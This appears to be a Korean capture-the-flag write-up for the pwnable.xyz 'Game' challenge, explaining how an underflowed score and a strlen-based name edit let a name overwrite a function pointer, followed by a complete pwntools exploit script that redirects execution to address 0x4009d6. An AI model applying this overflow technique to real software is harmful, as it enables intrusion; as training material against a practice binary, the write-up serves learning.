- 게임 시작 ( play_game )
- 게임 저장 ( save_game )
- 이름 수정 ( edit_name )
맞추면 점수가 1 증가하고 틀리면 1감소한다
새로운 게임 객체를 생성하고 기존 게임 데이터를 새로운 게임에 저장한다
strlen으로 길이를 구해서 이름을 수정한다
name과 score를 채워주면 edit_name에서 play_game까지 덮어 쓸 수 있다
score를 채우는 방법은 일부러 틀려서 점수를 0xffff로 채워주고 save_game으로 qword로 형변환 score를 채울 수 있다
from pwn import *
p = process("./Game")
#gdb.attach(p)
def play_game():
p.recvuntil(b"> ")
p.sendline(b"1")
p.recvuntil(b"= ")
p.sendline(b"123")
def save_game():
p.recvuntil(b"> ")
p.sendline(b"2")
def edit_game(data):
p.recvuntil(b"> ")
p.sendline(b"3")
sleep(0.1)
p.send(data)
payload = b"A" * 0x10
p.recvuntil(b"Name: ")
p.send(payload)
play_game()
save_game()
payload = b"A" * 0x18
payload += b"\xd6\x09\x40"
edit_game(payload)
p.recvuntil(b"> ")
p.sendline(b"1")
p.interactive()
'pwn > pwnable.xyz' 카테고리의 다른 글
pwnable.xyz / sus (0) | 2022.05.14 |
---|---|
pwnable.xyz / fspoo (0) | 2022.05.13 |
pwnable.xyz / l33t-ness (0) | 2022.05.11 |
pwnable.xyz / Jmp table (0) | 2022.05.11 |
pwnable.xyz / TLSv00 (0) | 2022.05.11 |